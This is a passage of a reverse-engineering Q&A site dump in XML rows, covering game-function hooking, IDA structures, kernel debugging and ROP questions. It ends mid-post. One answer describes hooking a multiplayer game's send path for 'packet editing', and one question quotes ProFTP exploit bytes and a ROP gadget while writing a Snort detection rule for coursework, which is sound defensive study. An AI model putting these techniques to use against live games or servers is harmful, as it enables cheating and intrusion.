  <row Id="3707" PostTypeId="1" CreationDate="2014-02-17T19:49:05.507" Score="2" ViewCount="3573" Body="&lt;p&gt;After playing around with pointers I'm trying to get the address of a specific function in a game. this function prints player input to the screen and broadcasts it to all online players since it's a multiplayer game. One can say that it's a chat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have really no clue how to find the address because I got no real entry point. Any clues are much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to call this chat function within a simple Dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using OllyDbg if this matters.&lt;/p&gt;&#xA;" OwnerUserId="3948" LastActivityDate="2014-02-26T14:43:58.463" Title="help in finding a specific function of a game" Tags="|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3708" PostTypeId="2" ParentId="3704" CreationDate="2014-02-17T21:08:31.333" Score="2" Body="&lt;p&gt;Those are C++ name decorations. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Name decoration usually refers to C++ naming conventions, but can apply to a number of C cases as well. By default, C++ uses the function name, parameters, and return type to create a linker name for the function. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/deaxefa7.aspx&quot; rel=&quot;nofollow&quot;&gt;Name Decoration&lt;/a&gt; on MSDN for more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 2: Ordinals are just another way of making exports. You either export a function by name or by ordinal. It is unique in that binary only. You get functions by ordinals by using &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms683212%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;GetProcAddress()&lt;/a&gt; just the same as you would with a name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could recommend &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0735624240&quot; rel=&quot;nofollow&quot;&gt;&quot;Windows via C/C++&quot;&lt;/a&gt; book for many more details about those mechanisms. &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2014-02-18T11:00:48.937" LastActivityDate="2014-02-18T11:00:48.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3709" PostTypeId="2" ParentId="3707" CreationDate="2014-02-17T21:49:44.347" Score="7" Body="&lt;p&gt;The usual approaches to this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start typing what you want to say, but don't submit it yet. Use Cheat Engine to perform a memory scan for the string you have typed. Once you've found it, set a read-only HWBP, then submit the chat. The chat function should perform a read on the memory holding your chat string, setting off the BP.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hook &lt;code&gt;strcpy()&lt;/code&gt; and related functions, compare the arguments to whatever you will be typing into chat. This is unlikely to succeed as the string copying code in the chat function will most likely be inline.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hook the function(s) the game uses to actually send your chat to the server/other players. It's possible that your game could be sending chat packets unencrypted, in which case you could simply hook &lt;code&gt;send()&lt;/code&gt;/&lt;code&gt;sendto()&lt;/code&gt;/&lt;code&gt;WSAsend()&lt;/code&gt; and &lt;code&gt;strstr()&lt;/code&gt; the send buffer. However if the game is an MMO it definitely encrypts all its packets. In this case, you'll want to intercept said packets before the encryption happens. Some games will implement a fairly simple function with parameters similar to &lt;code&gt;send()&lt;/code&gt;, which will simply encrypt the send buffer and pass everything on to &lt;code&gt;send()&lt;/code&gt;. Other games may have a loop which reads unencrypted send packets from some internal buffer and encrypts them before passing them on to &lt;code&gt;send()&lt;/code&gt;. You can generally find this send function/loop by tracing back from &lt;code&gt;send()&lt;/code&gt;/&lt;code&gt;sendto()&lt;/code&gt;/&lt;code&gt;WSAsend()&lt;/code&gt;. Once you have this function/loop hooked, you'd apply a method commonly referred to as &quot;packet editing&quot; in the game exploits sphere. Simply roll a GUI to output all the packets going through, and matching the timing of your chat activity to the packets you see in your GUI. Once you figure out which packets correspond to your chats you can just trace back from the calls for those packets and you'll end up at the chat function.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3824" LastEditorUserId="1648" LastEditDate="2014-02-26T14:43:58.463" LastActivityDate="2014-02-26T14:43:58.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3710" PostTypeId="2" ParentId="3704" CreationDate="2014-02-17T22:21:37.067" Score="2" Body="&lt;p&gt;I'd  recommend loading the dll file into PE Explorer (View-&gt;Export), which will undecorate the names for you and show you the corresponding parameters/return value/calling convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to check out &lt;a href=&quot;https://stackoverflow.com/questions/9177591/how-to-undecorate-name-from-decorated-name&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3824" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-02-17T22:21:37.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3711" PostTypeId="2" ParentId="3707" CreationDate="2014-02-18T00:37:44.010" Score="5" Body="&lt;p&gt;user3262342 gave a good answer; you can also try setting breakpoints on the following common text-drawing functions and then look at the callstack to see what function in your program drew the text:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/dd145133%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;gdi32!TextOut&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/dd162499%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;user32!DrawTextEx&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms535759%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;gdiplus!Graphics.DrawString&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/dd742848%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;d2d1!ID2D1RenderTarget::DrawText&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/bb173962%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;d3dx9!ID3DXFont::DrawText&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-02-18T00:37:44.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3712" PostTypeId="1" CreationDate="2014-02-18T05:13:31.857" Score="2" ViewCount="6508" Body="&lt;p&gt;I lost the code of an app I wrote some years ago...the game structure was pretty cool and would be good to have it back...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can I reverse a binary into...something? I mean at least class tree...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've this&lt;img src=&quot;https://i.stack.imgur.com/hHhTC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the ipa (yes I saved it and not the code source, pretty smart eh?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw this link but don't know how to use objc-helper-plugin-ida! Never used python before&lt;/p&gt;&#xA;&#xA;&lt;p&gt;otool gives:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nockZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3952" LastActivityDate="2014-02-20T02:26:24.547" Title="Reverse engineering from binary or ipa" Tags="|ios|" AnswerCount="4" CommentCount="1" ClosedDate="2014-02-22T12:06:29.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="3713" PostTypeId="2" ParentId="3712" CreationDate="2014-02-18T07:44:23.060" Score="3" Body="&lt;p&gt;Use IDA Pro 6.5 Demo (available for free from &lt;a href=&quot;http://hex-rays.com&quot; rel=&quot;nofollow&quot;&gt;http://hex-rays.com&lt;/a&gt;)&#xA;It supports ObjC by default&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-02-18T07:44:23.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3714" PostTypeId="2" ParentId="3712" CreationDate="2014-02-18T10:39:38.827" Score="3" Body="&lt;p&gt;You can use Radare2, IDA Pro or Hopper. You'll need to reverse it and this might take more time than rewriting it. Also have a look at &lt;em&gt;this&lt;/em&gt; post: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1594/possibilities-for-reverse-engineering-an-ipa-file-to-its-source&quot;&gt;Possibilities for reverse engineering an ipa file to its source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-02-18T10:39:38.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3715" PostTypeId="1" CreationDate="2014-02-18T19:42:22.633" Score="3" ViewCount="330" Body="&lt;p&gt;I am given a VM of a server running a &lt;a href=&quot;https://www.rapid7.com/db/modules/exploit/linux/ftp/proftp_telnet_iac&quot; rel=&quot;nofollow&quot;&gt;vulnerable version of ProFTP&lt;/a&gt; and a attacker VM which exploits the server using &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/ftp/proftp_telnet_iac.rb&quot; rel=&quot;nofollow&quot;&gt;an exploit provided with MetaSploit&lt;/a&gt;. I need to write a Snort rule to detect potential malicious attacks on the server as a part of my class assignment. Looking at the exploit code I can easily write a rule to look for the keyword &lt;code&gt;SITE&lt;/code&gt; or &lt;code&gt;\x8d\xa0\xfc\xdf\xff\xff&lt;/code&gt; (as my vulnerable Vm is an Ubuntu machine). However, that would be pretty lame and also writing patches specific to the code of the exploit is not a good practice. I would like the rule to apply even if the exploit code is changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read about &lt;a href=&quot;http://bugs.proftpd.org/show_bug.cgi?id=3521&quot; rel=&quot;nofollow&quot;&gt;the bug&lt;/a&gt; and I know that the presence of special IAC character (255 or &lt;code&gt;\xFF&lt;/code&gt;) would potentially lead to buffer overflow. However, any normal packet could contain  &lt;code&gt;\xFF&lt;/code&gt; and writing a rule for detecting &lt;code&gt;\xFF&lt;/code&gt; would to false positives. I want to know some specific details of the exploit which would either help me figure out where I need to look for the IAC character or help me find some details about the exploit which would allow me to find malicious packets without having to resort to look for IAC character &lt;code&gt;\xFF&lt;/code&gt;. How do I go about doing that? Any help or pointers would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I have installed &lt;a href=&quot;http://udis86.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;udcli&lt;/a&gt; to try to understand the commands in the &lt;code&gt;ROPStack&lt;/code&gt; portion of the code. For ex: I am trying to evaluate line 100 (&lt;code&gt;0x805a544,  # mov eax,esi / pop ebx / pop esi / pop ebp / ret&lt;/code&gt;) in the code. I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;08 05 a5 44&quot; | udcli -32 -x&#xA;echo &quot;805a544&quot; | udcli -32 -x&#xA;echo &quot;44 a5 05 08&quot; | udcli -32 -x&#xA;echo &quot;44 a5 05 80&quot; | udcli -32 -x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But none of them evaluates to the following sequence&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,esi&#xA;pop ebx&#xA;pop esi&#xA;pop ebp&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2459" LastEditorUserId="2459" LastEditDate="2014-02-19T02:20:25.803" LastActivityDate="2014-02-19T02:20:25.803" Title="I want to know more about how a particular exploit works. How do I do that?" Tags="|disassembly|linux|exploit|buffer-overflow|" AnswerCount="0" CommentCount="10" ClosedDate="2014-02-24T23:47:02.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="3716" PostTypeId="1" AcceptedAnswerId="3721" CreationDate="2014-02-18T21:36:43.910" Score="3" ViewCount="934" Body="&lt;p&gt;Basically I us IDA Pro 6.1 on Windows 32 bit, dealing with binaries from SPEC 2006.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use IDA Pro to generate asm code from the binaries, and in the .data section, I see data define like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GS_ExceptionRecord _EXCEPTION_RECORD  &amp;lt;?&amp;gt;&#xA;GS_ContextRecord _CONTEXT  &amp;lt;?&amp;gt;&#xA;lclcritsects    _RTL_CRITICAL_SECTION 0Eh dup(&amp;lt;?&amp;gt;)&#xA; .....&#xA;DoubleFormat    FpFormatDescriptor &amp;lt;400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh&amp;gt;&#xA;FloatFormat     FpFormatDescriptor &amp;lt;80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I can not find the definition of &lt;strong&gt;_EXCEPTION_RECORD&lt;/strong&gt; ,&lt;strong&gt;_CONTEXT&lt;/strong&gt; ,&lt;strong&gt;_RTL_CRITICAL_SECTION&lt;/strong&gt;, &lt;strong&gt;FpFormatDescriptor&lt;/strong&gt; in the generated asm code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the code, they will be used like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     edi, DoubleFormat.precision&#xA;mov     eax, DoubleFormat.min_exp&#xA;sub     ecx, DoubleFormat.precision&#xA;&#xA;mov     edi, FloatFormat.precision&#xA;&#xA;mov     edi, offset lclcritsects&#xA;&#xA;mov     GS_ContextRecord._Eax, eax&#xA;mov     word ptr GS_ContextRecord.SegSs, ss&#xA;pop     GS_ContextRecord.EFlags&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I find the definition of these stuff?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Basically I use &lt;strong&gt;File--&gt;Produce File--&gt;Create ASM File&lt;/strong&gt; to generate asm code for analysis, then how can I dump these definitions from IDA Pro's Structures window into this asm code?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And what's more, it seems that I can not find the definition in Structures window even if I expand them....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gxynq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="3215" LastEditDate="2014-02-18T21:47:26.527" LastActivityDate="2014-02-20T04:38:09.477" Title="Why IDA Pro generate define-lack code like this?" Tags="|ida|disassembly|winapi|nasm|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3717" PostTypeId="2" ParentId="3716" CreationDate="2014-02-18T21:41:12.073" Score="1" Body="&lt;p&gt;&lt;code&gt;_EXCEPTION_RECORD&lt;/code&gt;, &lt;code&gt;_CONTEXT&lt;/code&gt;, and &lt;code&gt;_RTL_CRITICAL_SECTION&lt;/code&gt; are all well-defined structures. Their documentation can be found on MSDN (&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa363082(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/library/windows/desktop/aa363082(v=vs.85).aspx&lt;/a&gt;, etc.) and their layouts can also be found in IDA's Structures window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your other questions aren't clear. Please rephrase them.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-02-18T21:41:12.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3718" PostTypeId="2" ParentId="2297" CreationDate="2014-02-18T23:43:52.267" Score="4" Body="&lt;h1&gt;Kernel Debugging with VMWare Fusion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Power on the target VM, in an elevated command prompt: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bcdedit /debug on&#xA;bcdedit /dbgsettings serial debugport:1 baudrate:115200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Power off both the target (debuggee) and development (debugger) VMs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate to the .vmwarevm package for each VM, right click, select &quot;Show Package Contents&quot; (or cd into the VM's package).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove all references to the existing &lt;code&gt;serial0&lt;/code&gt; port, which is used for config-free printing.  Copy-and-paste the configuration below, modifying it where necessary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;serial0.present = &quot;TRUE&quot;&#xA;serial0.pipe.endPoint = &quot;client&quot; # change to &quot;server&quot; for the target VM&#xA;serial0.fileType = &quot;pipe&quot;&#xA;serial0.yieldOnMsrRead = &quot;TRUE&quot;&#xA;serial0.startConnected = &quot;TRUE&quot;&#xA;serial0.fileName = &quot;/tmp/kdpipe&quot; # or any other world-writeable path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Power on your VMs, and use Windbg from the development VM to connect over com0.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;VMWare Fusion Power-On Order&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Terminology:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Client: You run windbg on this&lt;/li&gt;&#xA;&lt;li&gt;Server: You break the kernel on this&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Steps:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start the server first, since it is the pipe &quot;server&quot; and must create the pipe.&lt;/li&gt;&#xA;&lt;li&gt;Start the client next.  &lt;/li&gt;&#xA;&lt;li&gt;Start windbg, and get it waiting on com0.&lt;/li&gt;&#xA;&lt;li&gt;The server will have booted all the way into windows by now, so you won't be able to connect yet&lt;/li&gt;&#xA;&lt;li&gt;Restart the server&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Voila&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2014-02-18T23:43:52.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3719" PostTypeId="2" ParentId="3712" CreationDate="2014-02-19T04:18:25.647" Score="1" Body="&lt;p&gt;You can try &lt;a href=&quot;http://derevenets.com/&quot; rel=&quot;nofollow&quot;&gt;SmartDec&lt;/a&gt; decompiler too. The IDA Pro plugin does support Mach-O.&lt;/p&gt;&#xA;" OwnerUserId="3468" LastActivityDate="2014-02-19T04:18:25.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3720" PostTypeId="2" ParentId="3658" CreationDate="2014-02-19T08:25:01.827" Score="0" Body="&lt;p&gt;MapFileChecksum is used to calculate the checksum of the executable that's stored in the IMAGE_OPTIONAL_HEADER structure using Microsoft's custom checksum. It's usually used to re-calculate the checksum value once the executable has been modified, since the windows kernel checks the checksum before it loads drivers and system files. But in case of your application, the application might be using any kind of checksum (crc32, adler, e.t.c.) or might even be using hash functions. So just breaking on MapFileChecksum might not be enough. Since it has to read it's own binary to calculate the checksum/hash, break on the file manipulation functions and go from there.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2014-02-19T08:25:01.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3721" PostTypeId="2" ParentId="3716" CreationDate="2014-02-19T12:36:21.397" Score="5" Body="&lt;p&gt;As far as I know IDA doesn't dump structure layouts as part of generated assembly listings. It does however know about all the structures that you mention. Go to the structures window, press &quot;&lt;code&gt;Insert&lt;/code&gt;&quot; and name the new structure &lt;code&gt;CONTEXT&lt;/code&gt;, &lt;code&gt;EXCEPTION_RECORD&lt;/code&gt; or &lt;code&gt;RTL_CRITICAL_SECTION&lt;/code&gt; and IDA will show the layout in the structures window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then open the &quot;&lt;code&gt;Local Type&lt;/code&gt;s&quot; windows and dump all of the structure layouts as a C header file (right click &quot;&lt;code&gt;Export to header file&lt;/code&gt;&quot;. It still doesn't get you the assembly syntax you want, but it is about as close as I know how to make IDA get to what you want.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2014-02-19T12:36:21.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3722" PostTypeId="2" ParentId="3712" CreationDate="2014-02-20T02:26:24.547" Score="1" Body="&lt;p&gt;To get the basic class structure back, you can use &lt;a href=&quot;http://stevenygard.com/projects/class-dump/&quot; rel=&quot;nofollow&quot;&gt;classdump&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It generates declarations for the classes, methods, categories and protocols. This is the same information provided by using ‘otool -ov’, but presented as normal Objective-C declarations, so it is much more compact and readable.&lt;/p&gt;&#xA;" OwnerUserId="3574" LastActivityDate="2014-02-20T02:26:24.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3723" PostTypeId="2" ParentId="3716" CreationDate="2014-02-20T04:38:09.477" Score="0" Body="&lt;p&gt;seems to be a struct from some internal microsoft  floating point conversion code possibly from windbg source tree   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;seems to be defined like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct { &#xA;int max_exp; // maximum base 2 exponent (reserved for special values) &#xA;int min_exp; // minimum base 2 exponent (reserved for denormals) &#xA;int precision; // bits of precision carried in the mantissa &#xA;int exp_width; // number of bits for exponent&#xA;int format_width; // format width in bits &#xA;int bias;  // exponent bias &#xA;} FpFormatDescriptor; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Double &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static FpFormatDescriptor &#xA;DoubleFormat = { &#xA;0x7ff - 0x3ff, //  1024, maximum base 2 exponent (reserved for special values)&#xA;0x0 - 0x3ff, // -1023, minimum base 2 exponent (reserved for denormals) &#xA;53, // bits of precision carried in the mantissa &#xA;11, // number of bits for exponent &#xA;64, // format width in bits &#xA;0x3ff,  // exponent bias &#xA;}; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Float&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static FpFormatDescriptor &#xA;FloatFormat = { &#xA;0xff - 0x7f, //  128, maximum base 2 exponent(reserved for special values) &#xA;0x0 - 0x7f, // -127, minimum base 2 exponent (reserved for denormals) &#xA;24, // bits of precision carried in the mantissa &#xA;8,   // number of bits for exponent &#xA;32, // format width in bits &#xA;0x7f,  // exponent bias &#xA;}; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-02-20T04:38:09.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3726" PostTypeId="1" AcceptedAnswerId="3731" CreationDate="2014-02-20T08:01:52.190" Score="6" ViewCount="3399" Body="&lt;p&gt;I am working on return oriented programming exploitation on a x86_64 Linux.&#xA;However, my research leads to impossibility of ROP exploitation in 64-bit Linux machine because all of code segments are loaded in null byte leading addresses.&#xA;Is it true?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Gdb,Sections:&#xA;(gdb) i file&#xA;    `/home/******/Desktop/BOF/lib64', file type elf64-x86-64.&#xA;    Entry point: 0x400ffc&#xA;    0x0000000000400190 - 0x00000000004001b0 is .note.ABI-tag&#xA;    0x00000000004001b0 - 0x00000000004001d4 is .note.gnu.build-id&#xA;    0x00000000004001d8 - 0x00000000004002f8 is .rela.plt&#xA;    0x00000000004002f8 - 0x0000000000400312 is .init&#xA;    0x0000000000400320 - 0x00000000004003e0 is .plt&#xA;    0x00000000004003e0 - 0x0000000000494808 is .text&#xA;    0x0000000000494810 - 0x000000000049614c is __libc_freeres_fn&#xA;    0x0000000000496150 - 0x00000000004961f8 is __libc_thread_freeres_fn&#xA;    0x00000000004961f8 - 0x0000000000496201 is .fini&#xA;    0x0000000000496220 - 0x00000000004b6224 is .rodata&#xA;    0x00000000004b6228 - 0x00000000004b6230 is __libc_atexit&#xA;    0x00000000004b6230 - 0x00000000004b6288 is __libc_subfreeres&#xA;    0x00000000004b6288 - 0x00000000004b6290 is __libc_thread_subfreeres&#xA;    0x00000000004b6290 - 0x00000000004c32ac is .eh_frame&#xA;    0x00000000004c32ac - 0x00000000004c33b9 is .gcc_except_table&#xA;    0x00000000006c3ea0 - 0x00000000006c3ec0 is .tdata&#xA;    0x00000000006c3ec0 - 0x00000000006c3ef8 is .tbss&#xA;    0x00000000006c3ec0 - 0x00000000006c3ed0 is .init_array&#xA;    0x00000000006c3ed0 - 0x00000000006c3ee0 is .fini_array&#xA;    0x00000000006c3ee0 - 0x00000000006c3ee8 is .jcr&#xA;    0x00000000006c3f00 - 0x00000000006c3ff0 is .data.rel.ro&#xA;    0x00000000006c3ff0 - 0x00000000006c4000 is .got&#xA;    0x00000000006c4000 - 0x00000000006c4078 is .got.plt&#xA;    0x00000000006c4080 - 0x00000000006c56f0 is .data&#xA;    0x00000000006c5700 - 0x00000000006c8308 is .bss&#xA;    0x00000000006c8308 - 0x00000000006c8338 is __libc_freeres_ptrs&#xA;&#xA;    0x0000000000400190 - 0x00000000004001b0 is .note.ABI-tag&#xA;    0x00000000004001b0 - 0x00000000004001d4 is .note.gnu.build-id&#xA;    0x00000000004001d8 - 0x00000000004002f8 is .rela.plt&#xA;    0x00000000004002f8 - 0x0000000000400312 is .init&#xA;    0x0000000000400320 - 0x00000000004003e0 is .plt&#xA;    0x00000000004003e0 - 0x0000000000494808 is .text&#xA;    0x0000000000494810 - 0x000000000049614c is __libc_freeres_fn&#xA;    0x0000000000496150 - 0x00000000004961f8 is __libc_thread_freeres_fn&#xA;    0x00000000004961f8 - 0x0000000000496201 is .fini&#xA;    0x0000000000496220 - 0x00000000004b6224 is .rodata&#xA;    0x00000000004b6228 - 0x00000000004b6230 is __libc_atexit&#xA;    0x00000000004b6230 - 0x00000000004b6288 is __libc_subfreeres&#xA;    0x00000000004b6288 - 0x00000000004b6290 is __libc_thread_subfreeres&#xA;    0x00000000004b6290 - 0x00000000004c32ac is .eh_frame&#xA;    0x00000000004c32ac - 0x00000000004c33b9 is .gcc_except_table&#xA;    0x00000000006c3ea0 - 0x00000000006c3ec0 is .tdata&#xA;    0x00000000006c3ec0 - 0x00000000006c3ef8 is .tbss&#xA;    0x00000000006c3ec0 - 0x00000000006c3ed0 is .init_array&#xA;    0x00000000006c3ed0 - 0x00000000006c3ee0 is .fini_array&#xA;    0x00000000006c3ee0 - 0x00000000006c3ee8 is .jcr&#xA;    0x00000000006c3f00 - 0x00000000006c3ff0 is .data.rel.ro&#xA;    0x00000000006c3ff0 - 0x00000000006c4000 is .got&#xA;    0x00000000006c4000 - 0x00000000006c4078 is .got.plt&#xA;    0x00000000006c4080 - 0x00000000006c56f0 is .data&#xA;    0x00000000006c5700 - 0x00000000006c8308 is .bss&#xA;    0x00000000006c8308 - 0x00000000006c8338 is __libc_freeres_ptrs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3973" LastEditorUserId="1648" LastEditDate="2014-02-26T15:21:07.303" LastActivityDate="2014-02-26T15:21:07.303" Title="ROP exploitation in x86_64 linux" Tags="|exploit|buffer-overflow|x86-64|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3727" PostTypeId="2" ParentId="3696" CreationDate="2014-02-20T08:34:38.773" Score="4" Body="&lt;p&gt;There are several reasons for that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Compiler itself - you will get slightly different code while using different compilers due to optimizations compiler implements, its default options.&lt;/li&gt;&#xA;&lt;li&gt;to actually run your code, compiler will insert bootstrap code for, processing possible command line commands, security protections that are common today, language specifics support:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;buffer overflow - stack cookies&lt;/li&gt;&#xA;&lt;li&gt;UAC protections&lt;/li&gt;&#xA;&lt;li&gt;RTTI - real time type information, C++ thing&lt;/li&gt;&#xA;&lt;li&gt;and there are others too.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Another thing, is compiler optimizations which in most cases will make the code you wrote, look completely different. In some cases, compiler can event remove you code at all - you will get an &quot;empty&quot; executable :-)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope that you understand, that to add all the above, compiler needs to add some code and this is even before &lt;code&gt;your code&lt;/code&gt; is there. Of course, you can disable all of the above by playing with the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.catch22.net/tuts/reducing-executable-size&quot; 